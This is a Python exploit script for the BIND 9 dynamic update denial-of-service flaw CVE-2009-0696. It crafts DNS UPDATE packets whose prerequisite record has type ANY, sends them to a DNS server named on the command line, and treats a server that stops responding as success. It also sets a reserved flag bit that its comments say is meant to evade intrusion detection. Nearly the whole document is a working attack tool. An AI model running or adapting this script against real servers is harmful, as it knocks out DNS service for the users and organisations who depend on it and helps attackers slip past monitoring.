#!/usr/bin/python # # Bind 9 Dynamic Update DoS CVE-2009-0696 # # -=[ dxp ]=- # # 2009/08/05 # - changed 2nd byte of DNS Flags from 0x00 to 0x40 which sets the reserved bit. # some IDS will look for 0x28 0x00 specifically to identify DNS UPDATE packet # instead of trying to identify the actual opcode. # import os import sys import socket import binascii from struct import pack from random import randint ######################## GLOBALS ########################## WORKED = False # do not change TIMEOUT = 2 # how long to wait for DNS response in seconds zones_lo = ["localhost", "1.127.in-addr.arpa", "1.0.127.in-addr.arpa", "1.0.0.127.in-addr.arpa", "1.0.in-addr.arpa", "1.0.0.in-addr.arpa", "1.0.0.0.in-addr.arpa", "1.255.in-addr.arpa", "1.0.255.in-addr.arpa", "1.0.0.255.in-addr.arpa"] zones_pri = [ "1.10.in-addr.arpa", "1.0.10.in-addr.arpa", "1.0.0.10.in-addr.arpa", "1.168.192.in-addr.arpa", "1.0.168.192.in-addr.arpa", "1.16.172.in-addr.arpa", "1.0.16.172.in-addr.arpa", "1.17.172.in-addr.arpa", "1.0.17.172.in-addr.arpa", "1.18.172.in-addr.arpa", "1.0.18.172.in-addr.arpa", "1.19.172.in-addr.arpa", "1.0.19.172.in-addr.arpa", "1.20.172.in-addr.arpa", "1.0.20.172.in-addr.arpa", "1.21.172.in-addr.arpa", "1.0.21.172.in-addr.arpa", "1.22.172.in-addr.arpa", "1.0.22.172.in-addr.arpa", "1.23.172.in-addr.arpa", "1.0.23.172.in-addr.arpa", "1.24.172.in-addr.arpa", "1.0.24.172.in-addr.arpa", "1.25.172.in-addr.arpa", "1.0.25.172.in-addr.arpa", "1.26.172.in-addr.arpa", "1.0.26.172.in-addr.arpa", "1.27.172.in-addr.arpa", "1.0.27.172.in-addr.arpa", "1.28.172.in-addr.arpa", "1.0.28.172.in-addr.arpa", "1.29.172.in-addr.arpa", "1.0.29.172.in-addr.arpa", "1.30.172.in-addr.arpa", "1.0.30.172.in-addr.arpa", "1.31.172.in-addr.arpa", "1.0.31.172.in-addr.arpa", ] ######################## Craft_DNS ######################## # # Build a DNS Update packet. # # In: Fully Qualified Domain Name # Out: string (dns packet) # ########################################################### def Craft_DNS(fqdn): full = "" domain = "" x = 0 # Break down host and domain if fqdn == "localhost": domain = host = fqdn else: host = fqdn.split('.')[0] fqdn_a = fqdn.split('.') while x < len(fqdn_a): if x == 0: x += 1 continue domain += fqdn_a[x] + "." x += 1 #print fqdn, domain, server # DNS header dns = "%s%s" % (pack("B", randint(0, 255)), pack("B", randint(0, 255))) # transaction id # evade most ids (2nd byte 0x40 sets the reserved bit) dns += "\x28\x40" # dynamic update flag dns += "\x00\x01" # zones dns += "\x00\x01" # prerequisites dns += "\x00\x00" # updates dns += "\x00\x00" # additional RRs # # Zone record # zone = "" # zone name, needs to be properly formated: each word prepended with its length for x in domain.split('.'): full += "%s%s" % (pack("B", len(x)), x) # extra pad for localhost zone if fqdn == "localhost": full = "\x09localhost\x00" zone += full # zone name zone += "\x00\x06" # zone type = soa zone += "\x00\x01" # zone class = in dns += zone # # Prerequisite record # pre = "" # prereq name if fqdn == "localhost": pre += full else: pre += "%s%s" % (pack("B", len(host)), host) pre += "\xc0\x0c" pre += "\x00\xff" # prereq type = any <-- vuln pre += "\x00\x01" # preeq class = in pre += "\x00\x00\x00\x00" # prereq ttl = 0 pre += "\x00\x00" # prereq data len = 0 dns += pre # Return packet return dns ######################## MAIN ############################# # Check CLI args if len(sys.argv) != 3: print "\nBind 9 Dynamic Update DoS CVE-2009-0696" print "Usage: %s <\"lo\" | \"1918\" | fqdn>" % (os.path.basename(sys.argv[0])) print "\n\t server = dns server to attack" print "\t \"lo\", \"1918\", or fqdn = localhost zones, or RFC-1918 zones, or specify valid fqdn entry\n" sys.exit(1) server = sys.argv[1] fqdn = sys.argv[2] zones_fq = [fqdn] # Try several localhost zones if fqdn == "lo": zones = zones_lo # RFC 1918 Private elif fqdn == "1918": zones = zones_pri # FQDN else: zones = zones_fq # Iterate over all entries and send exploit for z in zones: dns = Craft_DNS(z) print "[i] Sending exploit to \"%s\" (%u bytes) for host \"%s\"" % (server, len(dns), z) # Send Exploit s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect((server, 53)) s.sendall(dns) s.settimeout(TIMEOUT) try: s.recv(1500) except socket.timeout: s.close() WORKED = True break s.close() # Show success/failure if WORKED: print ":) Exploit appears to have worked" else: print "[w] Exploit most likely did not work"